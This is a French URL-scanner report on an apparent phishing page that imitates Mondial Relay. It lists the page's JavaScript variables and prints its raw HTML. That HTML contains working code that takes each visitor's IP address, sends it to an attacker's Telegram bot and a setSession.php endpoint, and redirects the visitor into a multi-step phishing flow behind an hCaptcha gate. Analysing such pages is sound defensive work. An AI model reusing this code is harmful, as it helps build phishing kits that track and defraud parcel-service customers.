- ID de l'analyse :
- 22073d1b-7259-44d1-a7d0-20132c946820Terminée
- URL soumise :
- https://mondial.relais-transit.com/
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 11 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
0 | object |
1 | object |
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
getUserIP | function |
sendTelegramMessage | function |
validateCaptchaAndRedirect | function |
Raven | object |
hcaptcha | object |
Messages de journal de console : 1 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
error | network |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html><html lang="fr"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>hCaptcha - Mondial Relay</title>
<script src="https://hcaptcha.com/1/api.js" async="" defer=""></script>
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Roboto', sans-serif;
background-color: #f9f9f9;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.form-container {
background-color: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
max-width: 400px;
width: 100%;
text-align: center;
}
.human-check {
background-color: yellow;
color: black;
padding: 10px;
text-align: center;
font-weight: bold;
margin-bottom: 10px;
border-radius: 4px;
}
.confirm-button {
background-color: green;
color: white;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
font-weight: 500;
width: 100%;
}
.confirm-button:hover {
background-color: darkgreen;
}
</style>
<script>
function getUserIP(callback) {
fetch('https://api.ipify.org?format=json')
.then(response => response.json())
.then(data => callback(data.ip))
.catch(error => console.error('Erreur lors de la récupération de l\'IP :', error));
}
function sendTelegramMessage(ip) {
const botToken = '123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11'; // Ton token de bot
const chatId = '-1001234567890'; // Remplace par l'ID du groupe
const message = `✅ <b>Captcha validé !</b>\n\n🌍 <b>IP :</b> ${ip}`;
const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
const params = {
chat_id: chatId,
text: message,
parse_mode: 'HTML'
};
fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(params)
}).then(response => response.json())
.then(data => console.log('Message envoyé sur Telegram:', data))
.catch(error => console.error('Erreur lors de l\'envoi du message Telegram :', error));
}
function validateCaptchaAndRedirect(event) {
event.preventDefault();
const hcaptchaResponse = hcaptcha.getResponse();
if (hcaptchaResponse.length === 0) {
alert("Veuillez valider le captcha.");
return false;
} else {
getUserIP((ip) => {
sendTelegramMessage(ip);
fetch('setSession.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ip: ip })
})
.then(response => {
if (response.ok) {
window.location.href = "steps/index.php";
}
})
.catch(error => {
console.error("Error:", error);
});
});
}
}
</script>
</head>
<body>
<div class="form-container">
<form id="hcaptcha-form" onsubmit="validateCaptchaAndRedirect(event)">
<img src="Apps-Mondial-relay.png" width="150">
<div class="human-check">
Êtes-vous humain ?
</div>
<div class="h-captcha" data-sitekey="483eb144-877a-488a-864c-b98afa2e4594"><iframe src="https://newassets.hcaptcha.com/captcha/v1/94cdacf/static/hcaptcha.html#frame=checkbox&id=074mylb3k8gj&host=mondial.relais-transit.com&sentry=true&reportapi=https%3A%2F%2Faccounts.hcaptcha.com&recaptchacompat=true&custom=false&hl=en&tplinks=on&pstissuer=https%3A%2F%2Fpst-issuer.hcaptcha.com&sitekey=483eb144-877a-488a-864c-b98afa2e4594&theme=light&origin=https%3A%2F%2Fmondial.relais-transit.com" tabindex="0" frameborder="0" scrolling="no" allow="private-state-token-issuance 'src'; private-state-token-redemption 'src'" title="Widget containing checkbox for hCaptcha security challenge" data-hcaptcha-widget-id="074mylb3k8gj" data-hcaptcha-response="" style="pointer-events: auto; background-color: rgba(255, 255, 255, 0); width: 303px; height: 78px; overflow: hidden;"></iframe><textarea id="g-recaptcha-response-074mylb3k8gj" name="g-recaptcha-response" style="display: none;"></textarea><textarea id="h-captcha-response-074mylb3k8gj" name="h-captcha-response" style="display: none;"></textarea></div>
<br>
<input type="submit" value="Confirmer" class="confirm-button">
</form>
</div>
<div aria-hidden="true" style="background-color: rgb(255, 255, 255); border: 1px solid rgb(215, 215, 215); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 4px; border-radius: 4px; left: auto; top: -10000px; z-index: -2147483648; position: absolute; pointer-events: auto; transition: opacity 0.15s ease-out 0s; opacity: 0; visibility: hidden;"><div style="position: relative; z-index: 1;"><iframe src="https://newassets.hcaptcha.com/captcha/v1/94cdacf/static/hcaptcha.html#frame=challenge&id=074mylb3k8gj&host=mondial.relais-transit.com&sentry=true&reportapi=https%3A%2F%2Faccounts.hcaptcha.com&recaptchacompat=true&custom=false&hl=en&tplinks=on&pstissuer=https%3A%2F%2Fpst-issuer.hcaptcha.com&sitekey=483eb144-877a-488a-864c-b98afa2e4594&theme=light&origin=https%3A%2F%2Fmondial.relais-transit.com" frameborder="0" scrolling="no" allow="private-state-token-issuance 'src'; private-state-token-redemption 'src'" title="Main content of the hCaptcha challenge" style="border: 0px; z-index: 2000000000; position: relative;"></iframe></div><div style="width: 100%; height: 100%; position: fixed; pointer-events: none; top: 0px; left: 0px; z-index: 0; background-color: rgb(255, 255, 255); opacity: 0.05;"></div><div style="border-width: 11px; position: absolute; pointer-events: none; margin-top: -11px; z-index: 1; right: 100%;"><div style="border-width: 10px; border-style: solid; border-color: transparent rgb(255, 255, 255) transparent transparent; position: relative; top: 10px; z-index: 1;"></div><div style="border-width: 11px; border-style: solid; border-color: transparent rgb(215, 215, 215) transparent transparent; position: relative; top: -11px; z-index: 0;"></div></div></div></body></html>